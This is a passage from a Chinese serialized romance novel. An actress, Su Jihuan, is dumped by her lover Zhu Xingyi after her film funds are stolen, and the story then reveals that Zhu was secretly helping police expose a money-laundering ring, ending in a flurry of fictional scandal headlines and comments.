空调出风口呜呜作响，苏寄欢等了许久，祝星亦终于抬头：“你还有事？” 冷淡的声音冲刷了一切期待。 苏寄欢在很多时候都觉得窒息，她与她的狐狸的关系已经降到了冰点，每一次交谈和对视都是一场极寒的风暴。 她早早知道两人的关系可能不会再好点，可是她还对她们的爱情抱有期待。 会好吗？一定会好吗？她不停地问自己。 苏寄欢的指甲掐进掌心，她低下头垂着眼小声问：“星星，你能……送送我吗？” 话音未落苏寄欢就觉得自己可笑。 祝星亦勾起珊瑚色唇角，葱白手指朝门外随意一划：“让我助理送你，我想让她帮你按电梯会给你省很多力气。” 跟着助理站在电梯里，电梯镜面映出泛红的眼眶，苏寄欢才回过神。 手机在这时震动。 苏芙*发来普吉岛的行程，最后附了句：“冲浪装备给你备好了，徐总态度很好，我想此行应该很顺利。” 苏寄欢回了两句话关掉手机。 她走出艺域大楼，热气扑面而来，夜色渐浓，麓城的霓虹正在蒸腾的暑气中扭曲变形。 苏寄欢在楼下站了许久，忽然回头看向祝星亦工作室的方向。 她看到一个人影从落地窗处消失，她揉揉眼，觉得是自己看错了。 从普吉岛回来后苏寄欢着急忙慌赶到祝星亦的剧组。 祝星亦刚拍完一场戏，助理吴安语带着她去空调房坐着，递来一杯水和剧本。 “苏小姐。”吴安语给苏寄欢递上水放在桌上便离开。 化妆师给祝星亦补妆，苏寄欢插不进去话，只能在一旁安静坐着。 过了会儿化妆师离开，苏寄欢看着祝星亦沉默冷淡的脸，抿着唇说：“我在那边带了一些小礼物给你，已经放在你家里了，等你回去的时候你就可以看到。” 祝星亦咽下白开水的声音异常清晰，她把玻璃杯放在桌面，拧着眉说：“你每次不要不经过我的同意就去我家，我觉得你很不尊重我，把钥匙给我，以后不要就这样做了。” 苏寄欢愣了许久，沉默着去包里翻找一会儿，她拿出钥匙放在祝星亦的手心说：“不好意思，我只是……” 场记的声音打断苏寄欢的话，祝星亦起身说：“没什么事就不要过来找我了，你不是要忙你的工作吗？怎么？不忙了？” “我只是想看看你，不可以吗？”苏寄欢抓着衣角望着祝星亦的背影说，“《琳琅》马上开机了，我希望一切都会好起来。我也希望我们会好起来。” 祝星亦没有吭声，拉开门走了出去。 苏寄欢跟着走出看着祝星亦进入拍戏状态。 由她教出来的人，表演技法和自己一模一样。 这时候苏寄欢才惊觉自己已经好久没拍过戏了。 她离开演员这个身份太久了。 筹备期的最后时光像被按了快进键，苏寄欢穿梭在服装间与投资方酒会之间，手机相册里存满祝星亦的剧照花絮。 算着开机时间，忙碌许久的苏芙松了口气：“《琳琅》能开机真不容易，等这剧拍完我一定要好好休息休息。” 她拍拍苏寄欢的肩，看着憔悴不堪的苏寄欢心疼道：“你也是啊。” 苏寄欢揉揉太阳穴：“嗯，拍完就休息休息，但后面还有很多事情要做，拍完并不是结束。” 她打开手机，看着自己给祝星亦发了很多消息，但祝星亦一条也没回。 她沉默了许久，又发了一条：“收工了吗？刚刚给你点了晚饭，最近要入秋了，照顾好自己。” 苏芙翻开日历瞅了几眼：“鸭头，过段时间就是七夕了，你和星星怎么过？” 苏寄欢打完字，轻声道：“希望，好好过。” 开机仪式前两天，苏寄欢驱车去买送祝星亦的礼物。她喜欢给祝星亦送礼物，喜欢看到祝星亦收到礼物时惊喜的表情。 下周二便是七夕，她这段时间太忙，没空去挑礼物，只能趁开机仪式前短暂的空闲时间去挑。 来到金店，柜台小姐热情地引她去看商品。她挑了个漂亮的纯金摆件，是一只比拳头大些的金狐狸。 柜台小姐正在包装的时候，苏芙的电话突然打来：“寄欢！寄欢不好了！不好了！” 苏寄欢拧着眉头问：“怎么了？” 苏芙那边传来一阵哭声：“呜呜呜寄欢不好了，财务那边卷着全部资金逃出国了，我们《琳琅》的全部投资还有你的投资，她全卷跑了啊！！” 嗡的一声，脑子里的大厦轰然倒塌，手机“啪”的一声摔在地上，屏幕碎得四分五裂。 苏芙的哭声穿透听筒，碎裂的手机屏幕上映出无数个变形的金狐狸，像一场荒诞的万花筒表演。 她看着远处商场正在布置七夕橱窗，工作人员正在试人造雪设备。 纷纷扬扬的冷雪好像落在了她颤抖的肩头。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 情人节快乐 苏寄欢十岁那年寸步难行，苏菱站在堆积如山的合同面前哭泣。 苏菱无力地垂下头，不停地喃喃：“雅雅，妈妈对不起你，妈妈没用，妈妈撑不住。” 苏寄欢抱着苏菱说：“妈妈，不要难过，人生总是起起落落，我们会柳暗花明的。” 现在的她想起那时的自己，她不知道自己当时是有多大的勇气说出那番话，而现在没有人跟她说她的人生会柳暗花明。 “寄欢，寄欢怎么办啊！”苏寄欢的车刚停好，苏芙眼角带泪跑过来，“寄欢，你已经在热搜上了，那些资方都打电话来问，我扛不住了。” 苏寄欢沉默不语地回到办公室，连日的奔波早已让她憔悴不堪，她双眼布满血丝，声音里都是颤抖：“没事，先处理好资方的问题，等过几天我去国外把那个财务抓回来。” 苏芙哭得更厉害了，肩膀一耸一耸的：“可是万一抓不回来那该怎么办？那些人的投资我们赔不起啊，你又投资了那么多，寄欢……我们[苏盛］要完蛋了。” “不会完蛋的。”苏寄欢沉着气说，她伸手去拿茶杯，手一抖，茶杯倒下，满桌的茶水。 她咬着牙擦干桌子。 她知道苏芙说的是事实，但她不想就这么认输。 七夕那天，苏寄欢忙到下午才有空去找祝星亦，一路上她都在想着见到祝星亦要说些什么。 她不知道。 思来想去，她想，祝福一下情人节快乐就好。 去剧组的时候她特意避开了人多的地方，关于钱被卷走的消息被挂在热搜许多天，各种舆论像汹涌的潮水将她淹没，她无心关注。 剧组的人说祝星亦下午拍完戏就回酒店休息，苏寄欢便马不停蹄地去酒店找她。 电梯里她匆忙抚平身上的褶皱，眼中细密的红血丝无法遮挡。她站在酒店房间门口时，深吸一口气抬手敲响了门。 祝星亦打开门后瞥了她一眼，面无表情地开门让她进来：“你还有空来找我？你自己的事情处理好了吗？你已经在热搜上挂了好几天了，怎么，你一点都不在意？” 她的语气里有点嘲讽的意味，苏寄欢没立刻听出来。 “谢谢你的关心。”苏寄欢放下礼物，努力挤出一丝微笑，“我明天天要出国处理钱款的事，可能要很久才会回来，你不要太担心，我会尽快把这件事处理好。” 祝星亦坐在沙发上跷着二郎腿，不耐烦道：“你想做什么我不想关心，除了这件事还有别的吗？” 苏寄欢低着头，小心翼翼地把精心准备的金狐狸摆件拆开，轻声说：“今天是七夕，我来给你送节日礼物。” 祝星亦打量那个礼物，露出一抹轻蔑的笑：“礼物就不必送了，你有这个钱买这份礼物还不如把它给卖了，还能给你凑一凑机票钱。” 她停顿片刻，眼神变得冷漠：“而且我们没有这层关系，你没必要给我送礼物。” 苏寄欢身子一顿，像被人狠狠抽了一鞭，她难以置信地看着祝星亦：“没有这层关系是什么意思？” 祝星亦靠在沙发上扬着下巴笑看苏寄欢的脸，她声音轻飘飘的，却像一把把尖锐的刀：“我说的话你不明白？苏寄欢，你不觉得现在的你对我来说是一个累赘吗？影视部搞了这么久还没有搞好，说要拍剧，投资了多长时间才筹备好一部剧，结果马上就要开机了，投资的钱都被卷走了。你不觉得你自己很失败吗？” 苏寄欢攥紧手，手背上青筋暴起，她的声音带着颤抖：“是，是这样没错，但是我……我会处理好这些事。” 祝星亦耸肩冷笑：“所以你想让我等你的成功？你很有自信处理好这些事吗？还是说你有信心处理好未来的风险？每一次？每一个危机？” 苏寄欢颤着眼睫，喉咙像被堵住了一样说不出话来。她对上祝星亦嘲讽的眼，忽然觉得眼前这个曾经深爱的人如此陌生。 她又觉得是自己太贪心可笑了，现在的她是一个完完全全的失败者，却还天真地想着让自己的女朋友等自己。 “我只是……我只是……”她喃喃许久，身子被最后一缕阳光吞并。 “苏寄欢，别成为我的累赘好吗？”祝星亦的声音像在冬日街道上遗落多日的铁，冰得很，硬得很，“苏寄欢，我要和你分手。我希望你以后不要再缠着我，我也不想再看到你。” “苏寄欢，你早就跟不上我的步伐了，你落后我太多太多，你也只会日复一日地重复你的失败。分手，苏寄欢，我只说最后一次，从我屋子里离开。之后我会差助理给你一笔分手费，正好帮帮可怜的你抵一抵缺口，也算是你和我在一起将近三年的回馈。” 祝星亦抓着衣角走到沙发处坐下，她不再言语，房间里陷入了死一般的寂静。 麓城的黄昏在鸦雀展翅里沉没，一寸一寸的黑色蔓延上来，远处街道的路灯缓缓亮起，苏寄欢瘦长的影子隐在晚霞里，像夏天和秋天跑进春天里，像彼岸燃烧殆尽的灰。 她颤抖着肩头望着窗外，晶莹的眼泪从眼角蜿蜒到下巴，再砸在地板上。 惨寂的薄雾晕染她冷峻又脆弱的侧影，乱云败絮的黄昏天，她的眼泪是融融暮色里暗淡的光。 多年前的麓湖畔，烟花绽放的那个夜晚，她的狐狸眼角含泪求她收她这个学生，求她不要忘记她，求她要在乎她。后来春天的海边，她的狐狸抱住她，一字一句地告白。 她们在无数个夜晚相拥而眠，她听到她的狐狸一次次说，我爱你，我要和你永远在一起。 而现在，她是她的累赘，她要和她分手。 她想要说些什么—— 比如，我们不分手好不好。 比如，星星，我不能失去你。 又比如，你一定要在这个时候提分手吗？我什么都没有了，连你也要离开我吗？ 但她关于这些的话都没有说出口。她握紧拳头，她曾觉得祝星亦是一团炽热的火，现在狐狸的火焰灼烧她，烧得她只剩灰烬。 “你早就已经听不进我的话，我也早就明白你已经长大了，你不再需要我。就像现在的我在你面前是一个失败者，我只是一个又老又失败的女人。”她侧着身子开口，“你年轻漂亮，你事业有成，你有大把大把美好的未来在等你。我跟不上你的脚步，一无所有的我也无法再给你开任何空头支票。” “我失败，我很失败，我现在什么都没了，我知道，我知道的。”苏寄欢强打起精神转过身来，她凝望闲坐在沙发上的祝星亦，那双琥珀色的眸子没有任何温度，“我真的，我真的想知道，这就是我们的结局吗星星？我……我……” 这时候苏寄欢有些失控，她喘着气泣不成声。 她无法再装作不在意的模样，不想尽力保持自己是一个情绪稳定的人。 她不是神，她有情绪，她不是冰冷的机器，她会焦虑，会难过，会痛苦，会爱，也会恨。 她恨。 她恨祝星亦。 她恨为什么祝星亦不能像她一样爱她。 她恨为什么祝星亦要这么无情。 她恨祝星亦就这么把她抛弃了。 爱时是敬爱的苏老师，不爱时是累赘。 她又憎恶自己是个无能的废物。 她没有尽到一个指明灯的责任，放任祝星亦和晏氏的人混在一起。 她没有担当起[苏盛］的领头人，没有让影视部有起色，没有负责好那些好不容易拉来的投资，还让这么多年的积蓄打水漂。 但现在她最恨祝星亦，于是她的声音也提高了不少：“可我到底做错了什么？我从认识你开始，我到底做错了什么？” 挤压许久的怒火几乎要将苏寄欢的身子点燃，她上前一步俯身抓着祝星亦的肩头厉声质问：“我到底做错了什么？你要这么对我！我苏寄欢问心无愧，即便我是一个恶人，即便我对不起全天下人，我都对得起你。我从没有亏待过你，我从没有对你有一点点不好，你为什么要这么对我，你为什么要这么对我啊祝星亦！为什么啊！！” 她哭着，咆哮着。 她不明白她到底做错了什么，她究竟哪里做得不好祝星亦才会这么惩罚她。还是说，祝星亦从来没有在意过那些东西，因为永远都有人给祝星亦更好的东西，而她能拿出的东西对祝星亦来说不过是杯水车薪。 可她已经把她能拿出来的都拿出来了，难道不够吗？难道祝星亦看不到吗？ 她摇晃着祝星亦的身子，祝星亦冷眼看着她起身推开她。 祝星亦牵起嘴角嘲讽：“是我引诱你爱我的吗？是我逼你的吗？是我求你这样对我的吗？苏寄欢，你扪心自问，你做这些不是心甘情愿吗？” 苏寄欢颤着眸子看着眼前的人，那不是她曾经很爱的小狐狸，那是一把会割断她头颅的匕首。 她后退几步，自嘲地喃喃：“是啊……是啊……是我心甘情愿……是我……心甘情愿。” 她被推上了断头台，她被她的狐狸，她的爱人，她的祝星亦，无情地落下铡刀。而她的血，溅在她爱人的裙角，沾在她爱人的高跟鞋鞋底。 她对她热烈、真挚的爱，原来只是被轻视的心甘情愿。 苏寄欢阖上眼垂着手臂，眼泪像海啸一样奔涌而出。她毫无形象地大哭起来，像一个失去一切的小孩。 祝星亦冷眼望着她，许久，她开口：“哭够了就从我屋子里离开，吵死了。” 苏寄欢啜泣着，声音像破碎的镜子：“你以前说过你会永远和我在一起，你会永远爱我，我们怎么会变成这个样子……” “以前你还有点用，还能给我撕高奢代言。”祝星亦打了个哈欠，眼角有些湿润，“现在你连自己都保不住了，况且，你能处理好你的破事吗？我可不想让别人知道我的女朋友有一堆解决不完的烂摊子。” 祝星亦懒懒倚在沙发上斜睨她：“要懂得放手，这是你以前教我的，现在轮到我教你。” 她伸了个懒腰起身拿起那个金狐狸递给苏寄欢，苏寄欢一直在垂泪，没有接。 祝星亦转过身子把金狐狸丢进了垃圾桶，摆件划出抛物线坠入垃圾桶，金属撞击的颤音在房间里久久回荡。 她拍拍手做了个[请离开］的手势，淡漠道：“苏寄欢，分手快乐。慢走，不送。” 苏寄欢抽泣着从酒店离开时，麓城的星空像她的眼泪，手机震动了几下，是苏芙的消息。 她没有回苏芙，只是跟祝星亦打字说自己明天要出国，希望她照顾好自己。她还没有继续再说些什么，那边已经把她拉黑。 路灯亮起的街道闪烁着霓虹的海洋，她锈迹斑斑的影子落在灯下，撕裂开她脆弱的血肉。 黄昏已过，黑夜来袭。 第122章 执剑人执剑 “我知道她和你们已经很少联系了，但你们是她的朋友，我希望你们能够多和她聊聊，多让她说些她真正想说的话。我没有资格在她面前说什么，她也不会听我的。” 早上10：00的咖啡厅，苏寄欢低着头跟对面的宋姿缈和齐漫姝真挚道。 她昨晚上紧急找了白澜，她知道白澜早就已经不再是祝星亦的助理，她还是希望白澜如果有空能帮忙照看一下祝星亦。 她给了白澜一笔钱，白澜没有收。 白澜知道苏寄欢钱款被卷走的事，只说自己会帮忙照看，让苏寄欢放心出国。 苏寄欢放心不下。 她以前不是没有出差过，只是这次不一样。 她和祝星亦已经不是情侣关系，她无法通过文字、语音、视频了解祝星亦的近况。 她知道祝星亦的日子过得比谁都好，也知道自己都到这种地步了应该先关心自己。 但她还是放心不下。 昨天稍晚一点时苏寄欢又找到祝星亦的新助理，这个新助理吴安语为人有些刻薄。苏寄欢找到她的时候，她有点抱怨苏寄欢这么晚了还找她有事。 后面苏寄欢拜托她之后，她有些不耐烦地说，她是祝星亦的助理，怎么可能不会照顾好祝星亦。 苏寄欢询问吴安语以后能不能多给她发些祝星亦的情况，吴安语抱着臂拧紧眉头说不行。 苏寄欢想说什么又止住了。 也是，她和祝星亦什么关系都没了，凭什么要祝星亦的助理做这些事。 宋姿缈喝了口水，桌面下她轻轻踢了下齐漫姝。齐漫姝抿着唇笑说：“苏小姐，这个你放心，我们会多去找找她，跟她聊聊天。” 她说着，声音低了不少：“你……你也要照顾好你自己，最近新闻上关于你的事我们都看到了，苏小姐，希望你能渡过这次难关。” “谢谢你们的关心。”苏寄欢看了眼时间，匆匆起身，“我还有事，先走一步，希望你们可以给我多发些关于她的情况，谢谢你们。” 苏寄欢说完便小跑着出门，宋姿缈见人走了塌下肩膀：“你怎么承诺她这个啊？我都很少见祝星亦了，她现在腕儿这么大，我都不敢跟她搭腔。” 齐漫姝喝了口水叹道：“那你总不能让苏小姐心里没底儿吧，她出国一趟还惦记着大星，我要是不应下这个承诺，她肯定放心不下。” 想到前段时间见过祝星亦，齐漫姝的眼睛有些湿润：“别说你不敢跟她搭腔，我跟她搭腔了也是白搭。她现在变得冷冰冰的，一点都不乐意跟我说话。我觉得她站的位置太高了，我们已经失去了她这个朋友。” 宋姿缈欲言又止，久久，她看着初秋的阳光喃喃：“这就是成名的代价吗？” 她转过头，瘪了会儿嘴望着齐漫姝说：“如果我以后成名了也会变成这样，那我宁愿一辈子都不出名，我宁愿我永远都是小糊咖。” 齐漫姝笑呵呵地搂住宋姿缈的肩靠着她的头说：“我知道你想和我永远这样好，你放心，我也许愿自己不出名，我也永远是小糊咖，我永远都是你的好朋友。” 宋姿缈故作嫌弃地推开她：“谁要和你做好朋友，不做。” 齐漫姝调整姿势搂住她的腰亲昵道：“哎呀，做嘛，我们永远都是最好的朋友～” // 12：00，苏寄欢到达祝霜的家。 进门前她整理了下自己的衣服和头发，多日的奔波劳累让她有些不耐烦憔悴，她照了下自己的脸，化妆品都遮不住的疲惫。 叩响门后，是安安开的门。 安安惊讶这时候苏寄欢会过来，新闻里的事没人不知道，安安以为苏寄欢应该忙得抽不出身。 苏寄欢进门后和祝霜坦白了她和祝星亦曾经的地下恋情，没料到祝霜的反应很淡定。 “苏姐姐，我们早就知道你和姐姐的关系。”安安坐在一旁说，“很早之前就知道了，你放心，你这次遭遇的困难我姐姐一定会帮你，我们也希望她会好好陪你、支持你。你以前帮了她那么多，你把她一步步扶到这一步，她肯定……” “她和我分手了，昨天刚分的。”苏寄欢平静地说，她撩了下垂到脸前的发笑出声，“我这次来只是想拜托你们多给我发些关于她的消息，分手后她就把我拉黑了，我不能直接和她联系，我放心不下她，我希望你们可以多给我发一发她的近况，让我知道她还好不好。” 祝霜抓着衣服难以置信道：“她……她和你分手？她竟然因为你陷入困境选择和你分手？！” 她的声音不自觉拔高，又带着几分颤抖：“你帮了她这么多，你带她走到这一步，你从她寂寂无名陪她封后，她现在居然这么抛弃你？” 说着，祝霜无法再忍受，她起身欲要亲自找祝星亦问个明白。 苏寄欢赶忙拉住祝霜试图安抚她：“你别这样，她……她应该有自己的苦衷。” 祝霜一听向前跨了一大步，双手叉腰质问道：“苦衷？她能有什么苦衷！她怎么能在你最需要她的时候离开？哪有这样的人啊！她怎么会变成这个样子！” 苏寄欢为祝星亦做了多少，祝霜看得清清楚楚。如果没有苏寄欢，祝星亦根本没有现在的成就。别说封后了，演个主角都难！ 现在苏寄欢陷入困境了，祝星亦居然选择抛弃苏寄欢，哪有这样没有道德的人！她还是不是自己的女儿！ 苏寄欢目光低垂，盯着地面疲惫道：“我并不是想让你责怪她，我理解她。我现在这种情况对谁来说都是拖累，她现在的事业发展很好，我不能再做她的累赘。我没有别的要说的，我希望你们能多多关心她，因为我并不觉得她站在这么高的位置就真的开心了。” “我觉得她很累，但她从来都不会说出来。她一直都是这样的人，她不爱说自己的情况，她需要别人去发现她、主动询问她。但我现在没有这样的资格，你们是她的家人，我希望我出国后你们可以多多关心她。” “此次出国，我不知道我几时能回来。我实在对她放心不下，我恳求你们可以替我照顾她，这是我微薄的心意，请你们收下。”苏寄欢将为数不多的存款递了上去。 安安忙推开这张卡，她声音有些激动：“苏姐姐！你都这种情况了还给我们什么钱！我们是她的家人，肯定会照顾好她！钱你收下，你要照顾好自己才行啊！” 苏寄欢没有时间多说，她还要去找其他人，把卡放在桌面上便匆匆离去。 安安追了几步没追到人，她看着卡背后的密码，是祝星亦的生日。 // 16：00。 晏瑾年看向对面的女人，女人早已没有过去的意气风发，取而代之的是狼狈的憔悴。过往连每一根头发丝都精致无比的女人，现在衣服上都是褶皱，人也没有什么精神。 她太喜欢看苏寄欢落魄了，以前喜欢看，现在也喜欢看。 这个苦命的女人，越失败越有趣。 “你找我有什么事？”晏瑾年扬起下巴轻声问，手指在桌面轻轻敲着。 苏寄欢垂着眼说：“两个小时后我的航班就要起飞了，我昨天和今天已经把我能拜托的人都拜托过了。我知道她还是选择了你，既然是这个结果，我坦然接受。如今失败的我没有资格再争取什么，我也没有什么好说的，我只希望你和她在一起之后能够好好对她。” 苏寄欢拿出一份文件，上面详细记录了祝星亦的喜好和习惯。 “我还要赶着去机场，这份文件你需要的话就看，不需要的话就不看。我不想多说什么，我承认我现在很失败，我接受你对我的奚落和嘲讽。你说什么都好，但我希望你可以照顾好她，不要让她被谁伤害。”苏寄欢攥紧拳头咬着牙说，她不甘于接受这样的局面，可她什么都改变不了。 她是一个失败的女人，一个苦命的女人，一个什么都没了，没有资格再求祝星亦多看她一眼的累赘。 晏瑾年看着那份文件一时语塞。 祝星亦虽然和苏寄欢分手了，但她并没有选择她。她不知道祝星亦什么时候答应和自己在一起，但和苏寄欢分手了就是好事一桩。 “知道了，我很喜欢她，我肯定会照顾好她。”晏瑾年收下文件淡淡道，她欲要再说些冷冰冰的语言，苏寄欢起身拿包匆匆离开。 她望着苏寄欢的背影，忽然觉得这份文件有千斤重。 苏寄欢的爱，似乎比她的爱更沉重。 // 18：03，飞机起飞。 暮色像融化的糖浆漫过机场附近的林麓公园，戴口罩的女人站在木槿花丛旁仰起头。 她沿着飞机飞行的方向奔跑起来，风呼呼从卫衣下摆灌进去，口罩被呼吸浸得潮湿。 暮色突然浓得呛人。 她向前跑着，像追着不可能追上的落日。 气喘吁吁时她停下脚步，她的影子被拉得很长，而这时云层完全闭合，只有飞机的尾流在暮色里洇开痕迹。 祝星亦摘下被眼泪浸湿的口罩，八月的晚风里，她不停喃喃[对不起］。 包里手机震动时，祝星亦按下接通键。 “祝小姐。”是孟斯汀打来电话。 祝星亦缓了口气问：“怎么了，孟律师？” “祝小姐，我和傅律已经在警局了，陈警长这边会和你进行对话。” 孟斯汀把电话给了陈警长，陈警长的声音一出来，祝星亦立刻挺直了背。 电流杂音里传来钢笔轻叩桌面的声响，陈警长声音沉静道：“您好，祝小姐。您提供的云端录像已经完成声纹比对，警方目前正在拦截最新一批走私到境外的藏品。” “以[晏影］为中心构建的交易网络里，虚假成本和交易数额庞大，我们已整理核对您提供的数据，也调查取证庄获先生在这个交易网络里扮演的角色。” “晏氏的所有资金流向都做了存证，影视城的施工合同，慈善拍卖会的藏品清单，还有您最后送来的境外赌场洗钱视频我们这边已经收到并进行核对。” “何欣雨和晏氏合作后已卷款成功逃到国外，晏氏那边成功接应何欣雨，但我们会尽快协助苏小姐追查此事，我们也会保证让那些钱款一分不少地回到苏小姐手中。” “七日内，那些人的名字会出现在报道里，为了保护您的安全，您所做的一切并不会出现在新闻报道里。您将会作为[身败名裂］的艺人登顶热搜，我们已为您准备好安全屋，会保护您度过这段危险的时光。” “为了您的安全，我们将对您所做的一切进行保密工作，谢谢您用牺牲娱乐圈生涯的代价为我们取证。” “司法程序需要绝对冰冷的证据链，为了得到这些证据，必须有人深入其中做出牺牲。” “感谢您挺身而出，感谢您两年零两个月的忍耐和努力，我代表中国司法向您致以诚挚的谢意，也向您这位伟大的表演者致敬。感谢您的一出好戏，我们将于三日后收网。” 祝星亦松开发颤的指尖，她抬头看飞机消失的航迹。 倦鸟归巢，日落黄昏。 她的爱人飞去一个会成功追查钱款的国度，而她留在这里继续执剑。 “谢谢你们，谢谢你们帮助她。” “谢谢你们，我会全力配合你们接下来的工作。” “谢谢我们一起带来的这个结局。” // 三日后—— “收网。” 第123章 晏璟霖，等死吧你 玻璃墙外的阳光正炙烤着柏油路面，苏芙抬手遮挡刺眼的阳光，掌纹里的汗水在手机屏幕晕开一团水雾。 “完全没有头绪，我们来得太快了，国内警察还没开始行动。” 话音未落，苏芙握着的手机震动得她精神起来，待看到来电显示后心忽然沉了下去。 不是她们联系的警察，是个陌生的号码。 苏芙打开免提，和苏寄欢听完对方的讲话后，午间蒸腾的热浪将两人的身影缩成小小的点，干涸的大地降下了雨露。 晚八点，咖啡馆。 “你好……”苏芙好奇地打量对方许久，握着咖啡杯问：“你在电话里说的帮助我们……是真的？” 杨青蔚停下搅拌咖啡，方糖坠入杯底的闷响中，她推过平板电脑：“是的，我们已经和当地的刑警取得配合。刚刚我的同事传来最新消息，何欣雨的位置已经被锁定，预计明后两天会成功抓捕她。本案也有专业律师跟进，苏寄欢小姐，您这边到时候配合我们就好了。” “辛苦你们了，跨国追逃那么麻烦，到时候还要对她进行劝返，这是个大工程。”苏寄欢叹口气攥着衣角问：“不过我好奇的是我这边报警后才开始立案调查，怎么你们这边……” 杨青蔚沉吟片刻道：“我们早已得知何欣雨和晏氏的合作，所以出警更快些。换句话来说，我们早就在这里等候。” “早就在这里等候？”苏寄欢有些讶异，“你们一早就知道何欣雨会卷款跑路的事？怎么做到的？” 苏寄欢自己都没有意识到兢兢业业的何欣雨会和晏氏有联系，怎么警方…… 杨青蔚笑说：“当然是从晏氏那边得知的，不过这都不重要，您这边和我们打好配合就好。” 苏寄欢看杨青蔚这般轻松的模样，她也放心了不少。 手铐扣住何欣雨手腕时，苏寄欢站在不远处滞了一瞬，她想与何欣雨说些什么，踟蹰片刻留在了原地，沉默看着警方逮捕何欣雨。 杨青蔚过来找她时，她无暇顾及什么，继续配合调查，警方那边也开始跟何欣雨进行谈判。 苏芙在旁厅里给苏寄欢递上一瓶水，连日的奔波和劳累已经让两人疲惫不堪，所幸这是个好的结局。 苏芙打开手机想刷微博看看，但转念一想，热搜内容估计还是苏寄欢的这件事，便不再理会。 直到晚上横竖睡不着打开手机随便刷了刷，苏芙掀开被子跑到苏寄欢的屋子破门而入。 “鸭头！这……这怎么可能！星星她……”苏芙的惊叫卡在喉间，手机在掌心滑落半寸，又被她仓皇攥住。 苏寄欢垂首坐在床沿，碎发在苍白的脸颊投下蛛网般的阴影。 苏芙瞥见对方手背上暴起的青筋，想说出口的话被冻在了舌尖。 “我对她……太失望了。我也好懊悔，我为什么没有看住她，让她变成现在这个样子……”苏寄欢掐紧指尖，“等处理好何欣雨的事，我要快点回国。” 苏芙沉默地僵立在卧室门口，室内冷白的光将她的影子拉长，热搜上的词条正在熊熊燃烧。 祝星亦过往的荣誉、名声也要被烧尽。 #顶流小花祝星亦的25亿对赌协议# #祝星亦预制影后# #祝星亦资本的傀儡# #庄获落网# #晏氏集团涉嫌跨国洗钱# #晏瑾年晏影# #祝星亦全方位塌房# #苏寄欢被评选辜负的影后# …*… // ＊ 【绝密合同曝光！祝星亦签3年赚25亿，输则被迫退出娱乐圈】 曝祝星亦与晏氏旗下影视公司签署的“卖身级”对赌协议：若3年内未完成25亿净利润，其个人将无条件被封杀！网友扒出她一年拍9部影视以及接烂代言，疑为对赌“填坑”。协议中还要求她配合“指定奖项运作”…… 评论区—— [粉丝还在吹她“敬业”？敬业帮资本数钱吧！内娱就是被这种蛀虫毁了！］ [粉丝别洗了！签对赌的时候她没成年？自愿当资本的狗，现在装什么受害者！］ [这种没底线的吸血鬼能不能滚出娱乐圈？］ [为了钱连灵魂都能卖？接烂片恰烂钱就算了，输了还想赖给资本？又当又立第一人！］ ＊ 【国内影视大奖评委深夜开撕：祝星亦获奖是早就内定的！投票惊现异常无人敢说】 影视大奖各评委爆料，祝星亦的两大奖“最佳女主”早由后台内定，多部影视甚至是为了让祝星亦拿某些奖才启动拍摄的！网友嘲讽：“连影后都能预制菜化？”其团队回应“清者自清”，却被扒出颁奖礼当晚与晏氏高层密会酒店照…… 评论区—— [我现在真的看明白了，他们培养祝星亦，让祝星亦身价倍增，然后邀祝星亦参演电影并借用已镀金的身份参与洗钱项目，就能让整个链条的运作更合理……天啊，好精密的运作……］ [不只是祝星亦！晏瑾年也是一样的！还有[晏影］里的艺人也是！实力一般却忽然火了，咖位还那么高，实际上就是运作的一环！］ [祝星亦怎么会变成这样啊！她以前参加选秀综艺时那么害羞可爱，我当初可喜欢她了，她现在为什么会变成这个样子啊！钱真的是个坏东西！］ [你们没发现自从她火了之后面相都变了吗？以前是有些稚嫩的明艳少女，现在变得很刻薄，原来一切有迹可循］ [明知是黑幕奖还敢上台领，念获奖词时良心不会痛吗？为了镀金脸都不要了！］ ＊ 【合约细节流出，祝星亦为了名利甘当资本傀儡，粉丝称对她太失望！】 据爆料，当红小花祝星亦与资方合作洗钱并不参与分赃。网友称其早已成为资本的傀儡，大批粉丝脱粉。 评论区—— [一天208万还要当傀儡？这福气给我啊！又想吃红利又想立牌坊，吃相太难看了！］ [祝星亦，你对得起我们苏苏吗！你居然做出这种事！你有十辈子也赔不起！］ [太失望了，我真的对她太失望了，我粉了她这么多年，从没想到她是这种人！！］ [祝星亦！枉我当初为你说话！苏苏落魄的时候你置之不理，苏苏被骂的时候你发庆祝开工的美照，原来你早就和那些人为伍了！你对得起她对你的好吗！］ [这女人为了红什么事都干得出来！烂钱恰得那么香，心疼苏苏对她一路的扶持！］ ＊ 【红色通缉令！华夏文艺联合协会主席庄获落网，涉晏氏洗钱案关键证据】 华联会主席庄获在国外某豪宅被捕，警方在其电脑中发现晏氏海外资金链流水，单笔转账超2亿美元！知情人称，庄获为晏氏洗钱案“白手套”，曾通过虚设影视项目替晏氏转移赃款。网友联想：“祝星亦那部《飞向无人之地》就是洗钱工具吧？特效什么都不用心，还说是什么十亿巨制……” 评论区—— [就是他！他在很多颁奖典礼都出现了，本以为他很公平公正，以为他是很值得尊敬的前辈，原来他是这样的法制咖！］ [祝星亦拍的那些片全是洗钱工具！庄获进去了，下一个是不是该她了？建议彻查“祝式洗钱法”！］ [和庄获这种人合作，祝姐真是“人血馒头”吃上瘾了！内娱毒瘤赶紧封杀！］ ＊ 【晏璟霖连夜出境被拦！[晏影］实为洗钱代号，资金直通其账户】 警方证实晏璟霖涉嫌操纵[晏影］项目洗钱，其私人飞机在机场遭拦截！内部邮件显示，[晏影］以影视投资为幌子，境外资金通过艺人代言品牌回流国内…… 评论区—— [资本局中局！晏氏洗钱→庄获操盘→对赌绑定祝星亦→强推“预制影后”镀金→烂片圈钱填坑！］ [晏瑾年也是其中一环！她获得的那些奖也是预制的！难怪她有些片子那么烂还能拿奖，原来是因为这个！］ [把我家苏苏的奖还回来！我就知道这些奖的评选有问题！还有那些被抢的剧本，都给我还回来！］ [老天奶，难怪晏瑾年放着好好的晏氏贵女不当，非要来娱乐圈打工，原来是为了完成这个完整的链条啊！］ [下一部现实向电影有题材了，建议被辜负的苏寄欢实名出演无辜的实力影后］ ＊ 【惊天骗局！晏氏借“文化出海”洗钱500亿，好莱坞公司竟是空壳？】 …… // 候机厅落地窗外，薄雾中的银杏树正在飘落金箔般的叶片，苏寄欢一下飞机便去寻人。 她寻了许多人询问祝星亦目前身处何方，无一人知晓，狗仔也没有消息，哪怕去了麓城各大警局也没人见过祝星亦。 苏寄欢倒退着撞上金属长椅，椅背的寒意顺着脊椎往上爬。 祝星亦，消失了？ 